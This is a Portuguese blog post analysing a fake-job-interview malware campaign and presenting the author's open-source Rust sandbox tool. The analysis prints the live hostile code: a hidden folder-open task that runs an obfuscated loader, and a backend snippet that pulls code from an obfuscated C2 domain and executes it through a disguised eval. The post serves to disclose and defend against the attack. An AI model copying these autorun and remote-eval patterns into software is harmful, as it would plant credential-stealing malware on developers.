Anatomia de um Contagious Interview: o malware disfarçado de entrevista que mira devs sênior
Uma campanha de malware mira desenvolvedores sênior com falsas entrevistas de Web3. Dissequei uma amostra real — dois payloads coordenados (autorun no editor + RCE no backend), o que me salvou e o sandbox open source que isso me fez tirar da gaveta.
Existe uma campanha de malware mirando desenvolvedores sênior, e o vetor de entrada é a caixa de entrada do LinkedIn: falsas "vagas dos sonhos" cujo desafio técnico é, na real, o malware. Como fundador da ConsoliDados, recebo essas abordagens o tempo todo — dev sênior e visível é exatamente o alvo. Na maioria, o filtro é trivial. Esta foi a que chegou mais longe, então vale dissecar: peguei a amostra, abri e documento aqui o passo a passo técnico.
Há anos recebo convites com salário remoto altíssimo (sênior acima de US$ 180k/ano) em stacks comuns: TS, Node, React, Java. Para uma vaga remota nos EUA, voltada a um americano, faz sentido. Para remoto worldwide, é alto demais — é o meu primeiro filtro, e quase sempre basta.
Por que essa quase passou
Desta vez a isca era convincente: o valor era alto, mas plausível para a empresa e para a stack (TypeScript + Rust, ~US$ 100k/ano). O desafio técnico era um repositório limpo, que passou nos meus testes de segurança iniciais. Mesmo assim, o código era simples demais para o nível que estava sendo oferecido — e foi justamente essa simplicidade que me deixou em alerta, somada ao fato de o repositório estar numa conta pessoal do Bitbucket. Nenhum desses sinais condena sozinho — repositórios pessoais existem, tech leads escrevem desafios simples, e nem todo desafio técnico fica no repositório oficial da empresa —, mas o conjunto pedia atenção.
Avancei para a entrevista técnica e depois para um live coding. Aí a máscara caiu.
O live coding, onde a máscara caiu
A call começou como um processo normal: perguntas sobre a minha carreira e algumas perguntas técnicas, bem rasas — até pedirem para eu clonar um repositório para o live coding. Eu já havia clonado e rodado tudo dentro de um sandbox: um container com o projeto montado como volume (instalei as dependências no host e as mapeei junto com o projeto para o container — corri um certo risco aqui), três terminais num tmux. Quando o entrevistador pediu para eu "avisar quando rodar", respondi que já estava rodando — e dava para ver que ele lia ou esperava algo num segundo monitor. Hoje sei que ele aguardava os logs do ataque e provavelmente seguia um roteiro. Ele ainda perguntou se eu tinha mesmo aberto o projeto e se ele estava de pé.
Maximizei o Neovim e mostrei o editor. Ele não reconheceu e insistiu: "tem que ser no Cursor, é o que a empresa usa." Sem nenhum motivo técnico. Na sequência, ainda sem Cursor, perguntou de novo se o projeto estava rodando — foi quando mostrei o frontend em localhost:3000 e, num dos terminais do tmux, o projeto em execução. Em seguida veio a pressão por um sistema operacional específico: ele achou que eu estava no Windows e perguntou se eu não tinha como bootá-lo; quando falei que estava num Arch, veio com "aqui na empresa usamos Windows ou macOS". Viu meu Mac pela câmera e sugeriu o macOS — respondi que o Mac também só tinha Arch Linux. No fim, remarcou para o dia seguinte e pediu um Windows ou um Mac com Cursor instalado. Esse dia nunca chegou — estão esperando até hoje.
Essa insistência em um editor/OS específico, sem justificativa técnica, somada ao "vamos remarcar e tentar de novo", é o ataque procurando um ambiente onde o payload detona.
A revelação: dois payloads coordenados
Depois da call, debulhei o código, encontrei trechos suspeitos no backend e pedi ao Claude Code para varrer o repositório com YARA e ClamAV. Achamos dois payloads independentes e coordenados — defesa em profundidade do lado do atacante: não importa como você "roda o desafio", pelo menos um dispara.
Vetor 1: autorun silencioso ao abrir a pasta
O primeiro vetor não precisa que você execute nada. Um .vscode/tasks.json define uma task que roda no evento folderOpen — ou seja, no instante em que você abre a pasta no VSCode ou no Cursor — e todas as flags de apresentação estão configuradas para não deixar rastro visual.
1{
2 "label": "eslint-check",
3 "type": "shell",
4 "command": "node .vscode/cancel",
5 "isBackground": true,
6 "hide": true,
7 "presentation": {
8 "reveal": "never", "panel": "dedicated",
9 "focus": false, "clear": false, "echo": false, "close": true
10 },
11 "runOptions": { "runOn": "folderOpen" }
12}O arquivo executado, .vscode/cancel, são ~105 KB de JavaScript fortemente ofuscado — sem extensão, para driblar filtros ingênuos. É um loader da família BeaverTail. Por dentro, o de sempre: array de strings rotacionado e aliasing dos primitivos da linguagem, repetido por dezenas de KB para frustrar análise estática.
1(function(a,b){const c=a();while(!![]){try{const d=parseInt(vmb(0x1))/0x1+...
2
3let vmo = typeof globalThis !== 'undefined' ? globalThis :
4 typeof window !== 'undefined' ? window : global,
5 vmr = Object.defineProperty,
6 vms = Object.create,
7 vmw = Object.setPrototypeOf,
8 vmy = Function.prototype.call,
9 vmA = Reflect.apply;
10// … (105 KB)É por isso que o "recrutador" insistia tanto em Cursor/VSCode: ele precisa que a pasta seja aberta numa IDE gráfica, não que o backend seja executado.
Vetor 2: RCE no backend via eval disfarçado
O segundo vetor mora em server/routes/api/profile.js — uma rota legítima do template devconnector, com código malicioso inserido no "espaço vazio" entre dois handlers reais. Como server.js faz require() dessa rota, o código de topo de módulo executa.
O núcleo é um eval disfarçado. Em vez do literal eval (que scanners marcam), usa-se o construtor de Function para montar uma função (require) => { ... } a partir de uma string e invocá-la com o require real injetado — acesso total aos módulos do Node.
1const errorHandler = (error) => {
2 try {
3 if (typeof error !== 'string') {
4 console.error('Invalid error format. Expected a string.');
5 return;
6 }
7 const createHandler = (errCode) => {
8 const handler = new (Function.constructor)('require', errCode);
9 return handler;
10 };
11 const handlerFunc = createHandler(error);
12 if (handlerFunc) {
13 handlerFunc(require);
14 }
15 } catch (globalError) {
16 console.error('Unexpected error:', globalError.message);
17 }
18};De onde vem a string a ser avaliada? De um servidor de comando e controle (C2). E aqui estão dois truques bonitos de anti-análise:
1const subdomain = "api/service/token";
2const id = "b2040f01294c183945fdbe487022cf8e";
3const domain = Buffer.from(
4 "Y2hhaW5saW5rLWFwaS12My5saXY=",
5 "base64"
6).toString("utf-8");
7
8const getPassport = () => {
9 axios.get(`http://${domain}e/${subdomain}/${id}`)
10 .then(res => res.data)
11 .catch(err => errorHandler(err.response.data || "404"));
12};Primeiro: o base64 decodifica para chainlink-api-v3.liv — sem o e final. O e só é concatenado em tempo de requisição (${domain}e/), para que um grep pela string do C2 não encontre nada. O domínio, de quebra, é um typosquat da marca Chainlink.
Segundo, e mais esperto: o payload chega pelo .catch, não pelo .then. O C2 sempre responde com um 4xx/5xx, o axios lança, e o corpo do erro (err.response.data) vai direto para o eval. Quem procura "resposta de sucesso → execução" não vê nada.
E o gatilho? Uma IIFE de topo de módulo, batizada de passport para se passar por configuração do Passport.js. Ela dispara assim que a rota é importada — nenhuma requisição precisa ser feita.
1const passport = (() => {
2 getPassport();
3})();O que me salvou
Nada disso detonou. Por três motivos, e nenhum deles foi sorte:
- Sandbox. Rodei tudo num container isolado; o Vetor 2 até executou, mas sem rede para alcançar o C2 (
err.responseficouundefinede oevalmorreu numTypeErrorinofensivo). - Editor no terminal. Uso Neovim. Nunca abri a pasta numa IDE gráfica, então o autorun do Vetor 1 nunca disparou. Todo dev deveria saber o básico de vim/neovim/nano.
- Linux. O ataque é mais maduro em Windows/macOS — o
.vscode/canceltem inclusive um ramo de bypass deSet-ExecutionPolicydo PowerShell. Daí a insistência no OS.
A defesa que virou produto
Esse episódio me fez tirar da gaveta um projeto open source: um CLI de sandbox em Rust para rodar código não-confiável de forma isolada. A premissa é "paranoico por padrão" — comportamento inseguro é opt-in, não opt-out.
O perfil padrão é a postura de segurança escrita como dado: sem rede, HOME efêmero, todas as capabilities do Linux derrubadas.
1pub fn default_profile() -> Self {
2 Self {
3 name: "default".to_string(),
4 unsafe_mode: false,
5 network: false, // sem egress
6 ephemeral_home: true, // HOME descartável
7 cap_drop: "ALL".to_string(),
8 no_new_privileges: true,
9 cpu: Some(2.0),
10 memory_mb: Some(4096),
11 no_compose_deps: false,
12 }
13}O código-fonte entra montado como read-only (a menos que você peça --unsafe), e o HOME aponta para um tmpfs descartável — o seu ~/.ssh, ~/.aws e ~/.config/gcloud reais nunca são montados, então não há o que vazar.
1mounts.push(Mount::Bind {
2 src: ctx.project.path.clone(),
3 dst: ctx.manifest.workdir.clone(),
4 read_only: !ctx.profile.unsafe_mode, // RO, exceto com --unsafe
5});
6
7if ctx.profile.ephemeral_home {
8 mounts.push(Mount::Tmpfs { dst: "/home/sandbox".to_string() });
9}Esse perfil vira argumentos reais de docker run (a ferramenta faz shell-out para o docker, em vez de bindings nativos — decisão consciente registrada em ADR). A rede padrão é uma rede Docker --internal, sem saída para a internet; capabilities derrubadas e no-new-privileges fecham o resto.
1match &self.network {
2 NetworkSpec::None => { a.push("--network".into()); a.push("none".into()); }
3 NetworkSpec::Internal(name) => { a.push("--network".into()); a.push(name.clone()); }
4 NetworkSpec::Bridge => { a.push("--network".into()); a.push("bridge".into()); }
5}
6
7if self.security.cap_drop_all {
8 a.push("--cap-drop".into()); a.push("ALL".into());
9}
10if self.security.no_new_privileges {
11 a.push("--security-opt".into()); a.push("no-new-privileges".into());
12}E há um scan de pré-voo: antes de subir o container, o projeto é varrido com YARA (engine yara-x, em Rust puro) e, opcionalmente, ClamAV. Achou algo de severidade alta? O run é bloqueado.
1async fn pre_flight_scan(ctx: &Context, args: &Args) -> Result<()> {
2 if args.unsafe_mode || args.no_scan { return Ok(()); }
3 let mut report = sandbox_scan::scan(&ctx.project.path, &opts)?;
4 let blocking: Vec<_> = report.findings.iter()
5 .filter(|f| f.severity >= sandbox_scan::Severity::High)
6 .collect();
7 if !blocking.is_empty() {
8 return Err(crate::Error::ScanBlocked { count: blocking.len() });
9 }
10 Ok(())
11}Na prática, o fluxo do leitor é este:
1# Detecta a linguagem, modo seguro (código RO, sem internet, scan antes de tudo)
2sandbox run .
3
4# Só auditoria — sem container, relatório completo
5sandbox scan . --explain
6
7# Confia no projeto: leitura/escrita total, rede liberada, scan pulado
8sandbox run . --unsafeRoda 100% no Linux; teste em Windows/macOS fica para a comunidade. O código está em github.com/JohnnyCarreiro/sandbox.
Lições para devs sênior
- Desconfie por padrão em qualquer processo seletivo. Nunca instale nada no calor da emoção.
- Se a empresa restringe ferramentas, ela informa antes — e com motivo técnico. Pressão por um editor/OS específico no meio de um live coding, sem justificativa, é bandeira vermelha.
- Rode código desconhecido em sandbox ou VM. Forçado a usar uma IDE gráfica? Use um perfil que não auto-executa tasks (o Workspace Trust do VSCode existe para isso).
- Leia o conjunto, não o sinal isolado. Um repositório em conta pessoal, ou um entrevistador que não sabe detalhes da empresa, não condenam sozinhos. A constelação de sinais, sim.
Esse tipo de ataque — conhecido como Contagious Interview, atribuído publicamente a grupos ligados à Coreia do Norte (Lazarus / Famous Chollima) — não mira só cartão e cripto. Mira credenciais, chaves SSH, tokens de nuvem e, através de você, a cadeia de suprimentos da empresa onde você trabalha. Para devs sênior, o alvo é exatamente o acesso que você acumulou.
Uma observação importante: a empresa usada como isca também é vítima da impersonação — não é a atacante.
Na ConsoliDados, é esse o rigor que aplicamos antes de rodar qualquer código de terceiros — nosso ou de um cliente: sandbox, varredura e isolamento por padrão. Segurança não é um passo no fim do processo; é a postura desde o primeiro git clone.
Johnny Carreiro é fundador da ConsoliDados — consultoria em engenharia de IA aplicada, performance e modernização de legado.